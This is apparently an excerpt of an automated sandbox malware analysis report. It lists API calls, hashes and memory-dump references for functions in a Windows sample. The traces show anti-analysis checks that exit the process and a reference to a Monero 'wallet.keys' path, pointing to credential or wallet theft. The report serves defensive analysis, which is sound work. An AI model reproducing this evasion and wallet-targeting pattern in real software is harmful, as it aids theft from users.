Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 80c0de4e5fc5ea791ffd00f07e8d173e48f9de8d0c185e7ce0e4d5a58a1e1f68
Instruction ID: a64458dcbcc720d3aa2023740db24f7428cb09552a2ff4c63d09e70f1ef7b4c2
Opcode Fuzzy Hash: 80c0de4e5fc5ea791ffd00f07e8d173e48f9de8d0c185e7ce0e4d5a58a1e1f68
Instruction Fuzzy Hash: E901F4B5A4030CBBD710DBE4DC4AFAEB7B8EB44701F104555FA15A7281D6B165009F61

Function 00D340B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D340D5
RegOpenKeyExA.KERNEL32(80000001,0184DFA8,00000000,00020119,?), ref: 00D340F4
RegQueryValueExA.ADVAPI32(?,0184EA88,00000000,00000000,00000000,000000FF), ref: 00D34118
RegCloseKey.ADVAPI32(?), ref: 00D34122
lstrcat.KERNEL32(?,00000000), ref: 00D34147
lstrcat.KERNEL32(?,0184EC20), ref: 00D3415B

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 535396eb80b09f00b476e90bf68396a6ea65ad37ca87838b18bf80749738bf15
Instruction ID: d8b2f55f3a047e8570e51e52b68694df321d1ce2a0b4dbe3150956947550641b
Opcode Fuzzy Hash: 535396eb80b09f00b476e90bf68396a6ea65ad37ca87838b18bf80749738bf15
Instruction Fuzzy Hash: 12415AB690010C6BDB14EBA0EC56FED737DEB58300F408558F62567181EAB55B889FF2

Function 00D369F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841F48), ref: 00D398A1
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841DE0), ref: 00D398BA
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841DF8), ref: 00D398D2
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841E40), ref: 00D398EA
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841F78), ref: 00D39903
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,0184A028), ref: 00D3991B
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01836300), ref: 00D39933
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,018362A0), ref: 00D3994C
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841D50), ref: 00D39964
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841F90), ref: 00D3997C
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841E70), ref: 00D39995
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841E28), ref: 00D399AD
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01836380), ref: 00D399C5
Part of subcall function 00D39860: GetProcAddress.KERNEL32(75900000,01841E10), ref: 00D399DE

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D211D0: ExitProcess.KERNEL32 ref: 00D21211

Part of subcall function 00D21160: GetSystemInfo.KERNEL32(?), ref: 00D2116A
Part of subcall function 00D21160: ExitProcess.KERNEL32 ref: 00D2117E

Part of subcall function 00D21110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D2112B
Part of subcall function 00D21110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D21132
Part of subcall function 00D21110: ExitProcess.KERNEL32 ref: 00D21143

Part of subcall function 00D21220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D2123E
Part of subcall function 00D21220: __aulldiv.LIBCMT ref: 00D21258
Part of subcall function 00D21220: __aulldiv.LIBCMT ref: 00D21266
Part of subcall function 00D21220: ExitProcess.KERNEL32 ref: 00D21294

Part of subcall function 00D36770: GetUserDefaultLangID.KERNEL32 ref: 00D36774

Part of subcall function 00D21190: ExitProcess.KERNEL32 ref: 00D211C6

Part of subcall function 00D37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D211B7), ref: 00D37880
Part of subcall function 00D37850: RtlAllocateHeap.NTDLL(00000000), ref: 00D37887
Part of subcall function 00D37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D3789F

Part of subcall function 00D378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37910
Part of subcall function 00D378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D37917
Part of subcall function 00D378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D3792F

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0184A0A8,?,00D4110C,?,00000000,?,00D41110,?,00000000,00D40AEF), ref: 00D36ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D36AE8
CloseHandle.KERNEL32(00000000), ref: 00D36AF9
Sleep.KERNEL32(00001770), ref: 00D36B04
CloseHandle.KERNEL32(?,00000000,?,0184A0A8,?,00D4110C,?,00000000,?,00D41110,?,00000000,00D40AEF), ref: 00D36B1A
ExitProcess.KERNEL32 ref: 00D36B22

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 07e30e62330d06fda09b451011130e7298a705a38e9b716a848810f9f605a496
Instruction ID: b944abf3d2194c0d64a853b5e990c1029b9109131c41f3a00ac947b10a980f9d
Opcode Fuzzy Hash: 07e30e62330d06fda09b451011130e7298a705a38e9b716a848810f9f605a496
Instruction Fuzzy Hash: 82312F71A04218ABDB04FBF4DC56BEE7778EF14340F508519F252B6191DFB0A905DAB2

Function 00D299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D29A11
LocalAlloc.KERNEL32(00000040,?), ref: 00D29A31
ReadFile.KERNEL32(000000FF,?,00000000,00D2148F,00000000), ref: 00D29A5A
LocalFree.KERNEL32(00D2148F), ref: 00D29A90
CloseHandle.KERNEL32(000000FF), ref: 00D29A9A

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 6239b918e93e4f7ae866ff5629bbb8d55785ee33b1fe73d1528b100d4d3d9cbe
Instruction ID: 522c3f41b45b4b05b88d7e2ba4cfc29e1f45444873a491900041dd982d735c3e
Opcode Fuzzy Hash: 6239b918e93e4f7ae866ff5629bbb8d55785ee33b1fe73d1528b100d4d3d9cbe
Instruction Fuzzy Hash: 473127B4A00309EFDB14CFA4D995BEEB7B5FF58304F108158E911A7290D778AA41DFA1

Function 00D34780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0184EA28), ref: 00D347DB

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

lstrcat.KERNEL32(?,00000000), ref: 00D34801
lstrcat.KERNEL32(?,?), ref: 00D34820
lstrcat.KERNEL32(?,?), ref: 00D34834
lstrcat.KERNEL32(?,0183BF58), ref: 00D34847
lstrcat.KERNEL32(?,?), ref: 00D3485B
lstrcat.KERNEL32(?,0184E228), ref: 00D3486F

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D38D90: GetFileAttributesA.KERNEL32(00000000,?,00D21B54,?,?,00D4564C,?,?,00D40E1F), ref: 00D38D9F

Part of subcall function 00D34570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D34580
Part of subcall function 00D34570: RtlAllocateHeap.NTDLL(00000000), ref: 00D34587
Part of subcall function 00D34570: wsprintfA.USER32 ref: 00D345A6
Part of subcall function 00D34570: FindFirstFileA.KERNEL32(?,?), ref: 00D345BD

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 07d23506e98adb3d45b882b002455e8c1fa859cfefe207d08d730f95a9448279
Instruction ID: 7ecf2d474e8dc2983609d0bdec47fa009cc16ef7ca4071a1bc867541f99465db
Opcode Fuzzy Hash: 07d23506e98adb3d45b882b002455e8c1fa859cfefe207d08d730f95a9448279
Instruction Fuzzy Hash: 5F3150B694031C67CB10FBB0DC85EED737CAB58700F404589B359A6081EEB4E6899FB5

Function 00D21220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D2123E
__aulldiv.LIBCMT ref: 00D21258
__aulldiv.LIBCMT ref: 00D21266
ExitProcess.KERNEL32 ref: 00D21294

Strings

@, xrefs: 00D21233

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b13d2477225cf4a09fb9282207167eea893f0ac1822150af51e7bbadd013c2cd
Instruction ID: 5bfd364046478efa5bd130cbf325b3b416f7e429865f8f16dc6f8c0d437a23bd
Opcode Fuzzy Hash: b13d2477225cf4a09fb9282207167eea893f0ac1822150af51e7bbadd013c2cd
Instruction Fuzzy Hash: A2014FB0944308EADB10DBE4DC4AB9EB778EF24705F248048F605B6180D6B495419B79

Function 00D37E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37E37
RtlAllocateHeap.NTDLL(00000000), ref: 00D37E3E
RegOpenKeyExA.KERNEL32(80000002,0183CA30,00000000,00020119,?), ref: 00D37E5E
RegQueryValueExA.KERNEL32(?,0184DEE8,00000000,00000000,000000FF,000000FF), ref: 00D37E7F
RegCloseKey.ADVAPI32(?), ref: 00D37E92

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3bad7609070273db6882b7a6c231076065f27c7bcd8a32f96a9e8caac959deb0
Instruction ID: b911b159be0d63fe8536d1542044a57ddd118496783da27766bb13b684131516
